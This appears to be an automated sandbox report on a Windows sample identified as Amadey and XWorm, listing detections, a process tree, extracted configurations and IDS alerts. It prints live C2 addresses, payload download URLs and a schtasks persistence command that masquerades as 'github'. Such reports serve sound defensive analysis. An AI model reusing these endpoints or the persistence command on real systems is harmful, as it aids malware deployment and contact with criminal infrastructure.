Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565749
MD5:	795dc87c1af119b6d27e01167fc129d2
SHA1:	42c70518b0ce7aea4bafc32f8b3ef114febfed40
SHA256:	f9d0e9d1c7d55d226e049475be712fc1f9cd619b5e04cf615c0ad1274277341b
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected XWorm

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 795DC87C1AF119B6D27E01167FC129D2)

skotes.exe (PID: 7520 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 795DC87C1AF119B6D27E01167FC129D2)

skotes.exe (PID: 7636 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 795DC87C1AF119B6D27E01167FC129D2)

skotes.exe (PID: 2640 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 795DC87C1AF119B6D27E01167FC129D2)

cAvEmnl.exe (PID: 5496 cmdline: "C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe" MD5: EFD5937F50C21B5CE660D67F3F995821)

schtasks.exe (PID: 7472 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EJQ2xs8.exe (PID: 7668 cmdline: "C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe" MD5: 7AC5198E128DEDA55EEEB6CCFC8B57EA)

github.exe (PID: 7352 cmdline: C:\Users\user\AppData\Roaming\github.exe MD5: EFD5937F50C21B5CE660D67F3F995821)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["179.43.171.209"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\github.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb828:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb8c5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9da:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb664:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\github.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb828:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb8c5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9da:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb664:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb828:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb8c5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9da:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb664:$cnc4: POST / HTTP/1.1
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb4c8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb565:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb67a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb304:$cnc4: POST / HTTP/1.1
00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7a28:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7ac5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7bda:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7864:$cnc4: POST / HTTP/1.1
00000002.00000003.1718912522.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2320707751.0000000005370000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6f42:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6fdf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x70f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6d7e:$cnc4: POST / HTTP/1.1
00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1761097528.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6f42:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6fdf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x70f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6d7e:$cnc4: POST / HTTP/1.1
00000001.00000002.1740413865.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2895978891.000000000254A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1708915780.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1668428517.0000000005450000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1700108911.0000000005650000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: skotes.exe PID: 2640	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: cAvEmnl.exe PID: 5496	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: EJQ2xs8.exe PID: 7668	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.EJQ2xs8.exe.7d0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
12.2.EJQ2xs8.exe.7d0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7342:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x73df:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x74f4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x717e:$cnc4: POST / HTTP/1.1
7.0.cAvEmnl.exe.e0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
7.0.cAvEmnl.exe.e0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb828:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb8c5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9da:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb664:$cnc4: POST / HTTP/1.1
0.2.file.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.fa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.fa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.fa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, ProcessId: 5496, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, ParentProcessId: 5496, ParentProcessName: cAvEmnl.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe", ProcessId: 7472, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:54.929960+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:20.742546+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49784	185.215.113.43	80	TCP
2024-11-30T18:08:34.188264+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49820	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:08.586709+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:16.743019+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49769	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:14.041214+0100	2803305	3	Unknown Traffic	192.168.2.4	49775	31.41.244.11	80	TCP
2024-11-30T18:08:27.266910+0100	2803305	3	Unknown Traffic	192.168.2.4	49805	31.41.244.11	80	TCP
2024-11-30T18:08:38.320632+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	185.215.113.16	80	TCP
2024-11-30T18:08:40.968449+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	185.215.113.16	80	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:24.164103+0100	2852870	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:32.028312+0100	2852870	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:46.447980+0100	2852870	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:54.174046+0100	2852870	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:09:00.618246+0100	2852870	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:32.033547+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49785	179.43.171.209	7000	TCP
2024-11-30T18:08:46.449937+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49785	179.43.171.209	7000	TCP
2024-11-30T18:09:00.664462+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49785	179.43.171.209	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:24.164103+0100	2852874	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP
2024-11-30T18:08:54.174046+0100	2852874	1	Malware Command and Control Activity Detected	179.43.171.209	7000	192.168.2.4	49785	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T18:08:31.606790+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.4	49785	179.43.171.209	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/1824233174/EJQ2xs8.exe	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/1824233174/cAvEmnl.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php/luma/random.exe450	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1313526
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Avira: detection malicious, Label: HEUR/AGEN.1313526
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000002.00000003.1718912522.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["179.43.171.209"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Roaming\github.exe	ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\github.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: 179.43.171.209
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: 7000
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: <123456789>
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: <Xwormmm>
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: XWorm V5.6
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: USB.exe
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: %AppData%
Source: 7.0.cAvEmnl.exe.e0000.0.unpack	String decryptor: github.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 179.43.171.209:7000 -> 192.168.2.4:49785
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 179.43.171.209:7000 -> 192.168.2.4:49785
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49769
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49784 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49785 -> 179.43.171.209:7000
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49785 -> 179.43.171.209:7000
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49820 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49860 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 179.43.171.209
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.4:49785 -> 179.43.171.209:7000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 17:08:13 GMTContent-Type: application/octet-streamContent-Length: 52736Last-Modified: Sat, 30 Nov 2024 15:47:02 GMTConnection: keep-aliveETag: "674b3376-ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 72 30 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 8a 00 00 00 40 00 00 00 00 00 00 0a 60 00 00 00 60 00 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 94 00 00 57 00 00 00 00 20 01 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 48 00 00 00 00 00 00 00 00 00 00 00 55 40 0a 18 0c 37 27 7f 40 36 00 00 00 20 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 58 65 6a 6e 52 00 00 00 10 00 00 00 00 60 00 00 00 02 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 f4 87 00 00 00 80 00 00 00 88 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ce 04 00 00 00 20 01 00 00 06 00 00 00 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 